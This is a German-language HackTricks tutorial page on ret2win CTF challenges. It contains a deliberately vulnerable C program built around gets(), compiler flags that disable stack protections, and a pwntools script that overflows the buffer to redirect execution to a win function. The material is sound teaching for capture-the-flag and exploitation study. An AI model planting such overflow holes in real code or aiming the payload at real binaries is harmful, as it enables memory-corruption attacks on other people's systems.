German - Ht
HackTricks Training Twitter Linkedin Sponsor

Ret2win

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Ret2win-Herausforderungen sind eine beliebte Kategorie in Capture The Flag (CTF)-Wettbewerben, insbesondere bei Aufgaben, die binäre Ausnutzung beinhalten. Das Ziel besteht darin, eine Schwachstelle in einem gegebenen Binärfile auszunutzen, um eine bestimmte, nicht aufgerufene Funktion innerhalb des Binärfiles auszuführen, die oft etwas wie win, flag usw. genannt wird. Diese Funktion gibt normalerweise eine Flagge oder eine Erfolgsmeldung aus, wenn sie ausgeführt wird. Die Herausforderung beinhaltet in der Regel das Überschreiben der Rückkehradresse auf dem Stack, um den Ausführungsfluss zur gewünschten Funktion umzuleiten. Hier ist eine detailliertere Erklärung mit Beispielen:

C-Beispiel

Betrachten Sie ein einfaches C-Programm mit einer Schwachstelle und einer win-Funktion, die wir aufrufen möchten:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Um dieses Programm ohne Stack-Schutz und mit deaktiviertem ASLR zu kompilieren, können Sie den folgenden Befehl verwenden:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c

  • -m32: Kompiliere das Programm als 32-Bit-Binärdatei (dies ist optional, aber üblich bei CTF-Herausforderungen).

  • -fno-stack-protector: Deaktiviere Schutzmaßnahmen gegen Stack-Überläufe.

  • -z execstack: Erlaube die Ausführung von Code auf dem Stack.

  • -no-pie: Deaktiviere Position Independent Executable, um sicherzustellen, dass die Adresse der win-Funktion nicht geändert wird.

  • -o vulnerable: Benenne die Ausgabedatei als vulnerable.

Python-Exploit mit Pwntools

Für den Exploit verwenden wir pwntools, ein leistungsstarkes CTF-Framework zum Schreiben von Exploits. Das Exploit-Skript wird ein Payload erstellen, um den Puffer zu überlaufen und die Rücksprungadresse mit der Adresse der win-Funktion zu überschreiben.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Um die Adresse der win-Funktion zu finden, können Sie gdb, objdump oder ein anderes Tool verwenden, das es Ihnen ermöglicht, Binärdateien zu inspizieren. Zum Beispiel könnten Sie mit objdump folgendes verwenden:

objdump -d vulnerable | grep win

Dieser Befehl zeigt Ihnen die Assembly des win-Funktion, einschließlich ihrer Startadresse.

Das Python-Skript sendet eine sorgfältig erstellte Nachricht, die, wenn sie von der vulnerable_function verarbeitet wird, den Puffer überläuft und die Rückkehradresse auf dem Stapel mit der Adresse von win überschreibt. Wenn vulnerable_function zurückkehrt, anstatt zu main zurückzukehren oder zu beenden, springt es zu win, und die Nachricht wird gedruckt.

Schutzmaßnahmen

  • PIE sollte deaktiviert sein, damit die Adresse bei verschiedenen Ausführungen zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, ist nicht immer gleich, und Sie bräuchten ein Leck, um herauszufinden, wo die win-Funktion geladen ist. In einigen Fällen, wenn die Funktion, die den Überlauf verursacht, read oder ähnlich ist, können Sie eine teilweise Überschreibung von 1 oder 2 Bytes durchführen, um die Rückkehradresse auf die win-Funktion zu ändern. Aufgrund der Funktionsweise von ASLR sind die letzten drei Hex-Nibbles nicht zufällig, sodass es eine 1/16-Chance (1 Nibble) gibt, die richtige Rückkehradresse zu erhalten.

  • Stack Canaries sollten ebenfalls deaktiviert sein, da die kompromittierte EIP-Rückkehradresse niemals befolgt wird.

Weitere Beispiele & Referenzen

ARM64 Beispiel

pageRet2win - arm64
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

PreviousPointer RedirectingNextRet2win - arm64

Last updated